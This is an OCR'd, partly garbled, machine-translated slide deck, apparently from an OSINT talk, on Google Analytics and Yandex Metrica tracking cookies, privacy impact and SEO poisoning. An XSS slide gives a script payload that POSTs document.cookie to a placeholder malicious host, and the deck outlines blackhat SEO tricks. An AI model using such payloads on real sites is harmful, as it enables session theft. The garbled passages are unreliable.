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What does the client get? What does the hoster get?
> PERSONALIZED EXPERIENCE > Analysis of visitors' actions
>> Adaptability of the resource for > Effective marketing

the specific browser :
> promotion
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How does it work?

Tag Google Analytics

> How to connect to site >>tyk<<

Google

<!— Google Analytics ——>

<script>
(function(i,s,o,qg,r,a,m){i['GoogleAnalyticsObject']=r;ilrl=i[r]||function(){
(i[rl.g=ilrl.q||[1).push(arguments)},ilr].1=1xnew Date();a=s.createElement(o),
m=s.getElementsByTagName(o) [@];a.async=1;a.src=g;m.parentNode. insertBefore(a,m)

}) (window,document, 'script’, 'https://www.google-analytics.com/analytics.js','ga');

ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');

</script>

<!— End Google Analytics ——>


https://developers.google.com/tag-platform/gtagjs?hl=ru
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<script type="text/javascript">

(function(m,e,t,r,i,k,a){m[il=m[i] | |function(){(m[i]l.a=m[i].a|]|[]).push(arguments)};
yyyyyy yyyyyyy tag m[i].l=1xnew Date();k=e.createElement(t),a=e.getElementsByTagName(t) [@],k.async=1,k.src=r

,a.parentNode. insertBefore(k,a)})

(window, document, "script", "https://mc.yandex.ru/metrika/tag.js", "ym");

ym(XXXXXX, "init", {<napameTpsl MHUUWanu3auuu>});
</script>
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Why is it difficult to understand how the script works?

> code obfuscation

}if(window.googletagss urn;var p
0bject.defineProperty: function(a, b, c){if (a==Array.prototype| |

googletagéagoogletag. evalScripts) {googletag. evalScripts();
typeof self&iself,"object"==typeof globals&globa

typeof Object.definePropertie:
ypeof windows&window,"object

[ function(stte){var window=this;if(windo
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.prototype,a,{configurable: !0, writable: !8,value: function(){return ha(aa(this))}})}return a},"es6");var hi
=function(a){return a.raw=a},v=function(a){var b="undefined &a[t(r.Symbol,"iterator
(a)};throw Error(String(a)+" is not an iterable or ArrayLike' 15! (b
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I “'function“==typeof Object.create?0Object.create:function(a){var
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length, f; ++){var g=d[f];if(b.call(c,q,f,d)}{b=g;break a}}b=void @}return b}},"es6" ion b(){}function clg){var h=typeof g;re all
“function" }if(function(){if(!a||!Object.seal)return!1;try{var g=Object.seal({}),h=Object.seal({}),k=new a([lg, .get(h))return!1;k.delete(g);k.set(h,4);return!k.has
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ivoid 0};f.prototype.has=function(g){return c(q)&iy(g,d)&&y(gld],this.q)};f.prototype.delete=function(g){return c(g)&sy

=h;return this};f.prototype.get=function(g){return c(g)&&y(g,d)?g[d] [this.g]
f );u(*Map", function(a) {if (function(){if(!a|| typeof a||!t(a.prototype, eal)r try
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?0:¢;this.g.set(c,c) ;this.size=this.q.size; return this};b.prototype.delete=function r}(c this.g.delete(c);this.size=this.g.size;return c};b.prototype.
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> \What happens according to documentation

The file sets specific cookie files on the domain to which it belongs

Connect with the tag
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Cookies s &

HTTP cookie (web cookie, browser cookie) - this is a small fragment of data that the server sends to the browser
User.

"
v
GET http://www.example.com/ HTTP/1.1
Z
S
LS 1 KO\
set-cookiM: sFon\i gl .
|
>
GET http://www.example.com/ HTTP/1.1
Cookie: session-id=12345;



https://developer.mozilla.org/ru/docs/Web/HTTP/Cookies

YYY YYYY YYYYY YYYY YYYYYY
> distinguish unique users

>YYyyyyyyyyyy yyyyyyy yyyyyyyy

>Remember the number and time of previous visits

> record traffic source

> determine the beginning and end of the session
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Data collection

REFER Actions within the domain Lser data

> by search > Mouse clicks
>Local
> entered the link in the browser > cursor movement
> time
> YYyyyyy vy yyyyyy v ivyyyy >links and anchors to which it switches N
the user > Geoposition
yyyyy
VYS9 V99599559 99 I95995Y TYIIIYIISYIIIYIY SV
> the beginning and end of the session > Yy y yy version

>Browser and its version

> Height and width of the screen
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Yandex identification

name validity period Description The domain on which it
is installed
_ym_uid 1 year Allows you to distinguish The domain on which
visitors the counter is installed

> Yyyyyy yyyyyyy automatically assigns ClientlD To-every unique site visitor.

> This identifier is anonymous: it is created randomly and determines the browser

> in which the visitor browses the site.


https://yandex.ru/support/metrica/general/clientid-userid.html

Machine Translated by Google

Google ID

name validity period Description The domain on which it
is installed
_ga 2 years Allows you to distinguish The domain on which
visitors the counter is installed

> To tell Google Analytics that two transactions are related to one and the same thing
> YYYYYYyyvyy. YYyy9y v Y9yyy ¥ Y9yyyy yyyyvyyy v vy clientidis sent
> unique identifier.

> It is generated randomly.


https://developers.google.com/analytics/devguides/collection/analyticsjs/field-reference?hl=ru#clientId

Machine Translated by Google

~
«~Zgoogle andex

Request

Request

Raw Hex Hackvertor

GET /start HTTP/2
Host: test.domain.com
Cookie: _ga=GAl.3.224669696.1696300277
Sec-Ch-Ua: "Chromium'";v="117", "Not;A=Brand";v="8"
Accept: application/json, text/javascript
Content-Type: application/x-www—form-urlencoded
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: 70
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132
Safari/537.36
) Sec-Ch-Ua-Platform: "mac0S"

Origin: https://www.daraz.com.np
2 Sec-Fetch-Site: same-site
3 | Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty
5 Referer: https://www.daraz.com.np/
6 Accept-Encoding: gzip, deflate, br

Accept-Language: ru-RU,ru;g=0.9,en-US;q=0.8,en;q=0.7

Raw Hex Hackvertor

GET /start HTTP/1.1

2 Host: domain.test.com

3 Cookie: _ym_uid=1690810991995178587
Sec-Ch-Ua: "Chromium'";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: 70

5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63
Safari/537.36

/ Sec-Ch-Ua-Platform: '"macQS"

8 Accept: */x

9 Sec-Fetch-Site: none

) Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br

3 Accept-Language: ru-RU,ru;g=0.9,en-US;q=0.8,en;q=0.7
Connection: close

[y

C

5
3
4
7
Q
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Other cookies

*
Click here to learn more about cookies

_gat 1 minute Limits the frequency of requests
AMP_TOKEN from 30 seconds to 1 year It contains a token that can be used to get the Client ID from the AMP service
_gac_<property-id> 90 days It contains information about the campaign for the user
>>tyk<<

_ym_isad 2 days It is used to determine the presence of advertising blockers in the visitor
_ym_d 1 year Stores the date of the visitor's first visit to the site
_ym_hostindex 1 day Allows you to limit the number of requests
ymex 1year Stores auxiliary information for metric work
usst 1year Stores auxiliary information for synchronization of identifiers

>Styke——

visitors between different domains of Yandex



https://developers.google.com/analytics/devguides/collection/gajs/cookie-usage?hl=ru
https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwjL0NWqz9mBAxUZi8MKHVAGBp4QFnoECBEQAQ&url=https%3A%2F%2Fyandex.ru%2Fsupport%2Fmetrica%2Fgeneral%2Fcookie-usage.html&usg=AOvVaw2zT4-p7xo3zdN2cRq6uhCq&opi=89978449
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YYYYYYYY YYYYYYyyy

Name Value HttpOnly Secure

Security attributes (Secure and HitpOnly) are not accepted on such cookies.

> secure cookies are sent to the server only when the request is sent via SSL and HTTPS protocols

> HttpOnly cookies are not available from JavaScript through the document.cookie API property, which helps
to avoid cross-site scripting (XSS)


https://developer.mozilla.org/ru/docs/Web/HTTP/Cookies#secure_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D1%8B%D0%B5_%D0%B8_httponly_%D0%BA%D1%83%D0%BA%D0%B8
https://developer.mozilla.org/ru/docs/Web/API/Document/cookie
https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting
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XSS

Cookie files can be stolen using malicious JavaScript code

* If the resource is vulnerable to XSS

MoaoTBepauTe AencTBME Ha cTpaHuue somedomain.com
_ym_uid="{ . ~_--

Output of cookie values using alert(document.cookie)
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XSS

When successfully bypassing the protection of cookie files from transferring them to a third-party domain, they
can be sent using the following payload:

(X

1 <script>
fetch(
"https://MALICIOUS.COM', {
method: 'POST',
mode: 'no-cors',
body:document. cookie

¥o) e

8 </script>
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Impact

Privacy Violation

&

Cookie is used by:

_gac_*

Summary

Google Ads

to store and track audience reach.

The functionality is:

The purpose is: Marketing

i Expiration period: 90 days

> Use the _gac_* cookie value for receipt

personalized advertising

us Politics World CovID-19 Climate Change Originals Health Science Podcasts (
u — [oF|
Banner Ad >> showmax n
The 36
DOJ reverses Trump by
decision on released
inmates Should
voting |
Attorney General Merrick Garland's
directive reverses a Trump administration ;
decision that would have required Q ‘@
thousands of convicts to return to their...
"We will exercise our authority' » “Allowing |
even more
1 in their to!
= and count

o watch dog attack Controversial prison
via doorbell cam  sentence called 'cruel and... ‘grave, immediate danger'

Police fear missing girl isin  Billionaire leaves the Wearing a wire, he risked his
Mormon church, condemn... life to expose KKK members



https://cwe.mitre.org/data/definitions/359.html
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Vulnerabilities in analytics and metrics

In general, analytics files are libraries written in JavaScript, so they can also be
Vulnerable:

> CVE for Google Analytics

> CVFE for Yandex Metrics



https://www.opencve.io/cve?vendor=bestwebsoft&product=google_analytics
https://www.opencve.io/cve?vendor=yandex_metrica_counter_project&product=yandex_metric_counter
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SEO Poisoning

> yYyyyyyyyyyyy creates a malicious website and uses SEO mechanisms to increase its ranking and
display in the first search results

Google

Malicious ad

R

webex X

Sponsored

w© webex.com
hitps://www.webex.com :

Webex - Meetings

This help dashboard is relevant to free subscriptions purchased via Webex. Roundtable
Templates. Breakout Sessions. Three simple steps to sign-up for your free Webex plan. Smart
Status. Highlights: Webinars Available, Events Available, Help Center Available.

See All Devices - Headsets - Video Phone 8875 - Room Devices - Room Accessories -

Room Kit EQ - Board Pro

“

© Webex
hitps://www.webex.com #

Webex: The leader in collaboration & customer experience
‘With industry leading video conferencing, calling, and contact center solutions, Webex fuels
hybrid work for businesses of all sizes.

Download Webex
Download Webex for Windows, macOS, iOS, and Android. See ...

Meetings

Link to download malicious software

Read more about the incident
>>here<<


https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html
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Google

converse X

KapTurxu Mokynku 2023 Api Online One Star All Star

Peaynbraros: npumepHo 528 000 000 (0,48 cex.)

Peaynirars: Mockaa « MamenuTs pervoH

m 5 Q

Hosoctn Chuck 70

Keawl «Konsepc
hitps://moscow-converse.ru
Kenbt CONVERSE (KoHBepc) kynutb B Mockse ...
OpurmHansHbie kegbl Kousepc opuumansHom uHTepHeT-maraaure, Converse All Star
KynuTb B Mockee aeweso, GuicTpas u GecnnarHas AoCTaeKa NPy NOKynke AByx nap.
Converse uxtepHer marasud - Converse Ha Bbicokoi nopowwse - Converse Dior

B

H Street Beat
hitps:/istreet-beat.ru » cal » converse

Mpopaxa u ueHsbl Ha Converse B marasvHax Street Beat

Mokynaiite opurMHanekbie keab Converse ua NocneaHux Konnekuui 8 Cetn hupMeHHbIX

maraauHos Street Beal. 3akassigaitte ¢ qocTaBkon no scei Poccuu.
Kenpt - Xenwu+am - Posossie ToBapbl Converse... ' Xexckue keabi Converse...

.> ﬁ::m.converse.wm :

Converse Official Site. Converse.com

Shop Converse.com for shoes, clothing, gear and the latest collaboration. Find Classic
Chuck, Chuck 70, One Star, Jack Purcell & More.

Converse Color - Boys' Converse - Girls Converse  Converse Pride

- N

SCAM
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Why is this happening?

BlackHat SEO

Technique:

> Keyword stuffing - filling the text of the web page with keywords to confuse the algorithms of
the search systems and make the website get a higher rating

> Cloaking - providing search engine scanners with material different from what is displayed to
the user when clicking on the link

> yyyyyyy yyyyyyyyyyyyyyy - artificially increasing the rating of website clicks to increase its
ranking in search systems



Machine Translated by Google

> YYyyyyyyyyyy

>> more precisely suitable for the search query (the presence of key words in the page)
>> authority of the source

>>> Availability of backlinks

>>> SSL-certificate
>> indexation

>> Adaptable website

**

It takes into account locality, geoposition and other personal characteristics, so the attack can be done
YYYYY y YYyyyyyyyyyyyyyy



Machine Translated by Google

Y VY YYyyyy

Your user experience can be comfortable or safe

cookie, use yyyyy
time you enter from a




Konnektus CeBepHou NManbmupbl
CoobuwectBo cneuunanucrtoe B chepe OSINT

<- Xovewb cpenartb noknan? Hanuwu um! ->

«Schwarz_osint»
JHTY3MaCT, NPOKA3HMUK,
LLlanonaMn.

Cneuuanuct B cthepe
Open Source Intelligence



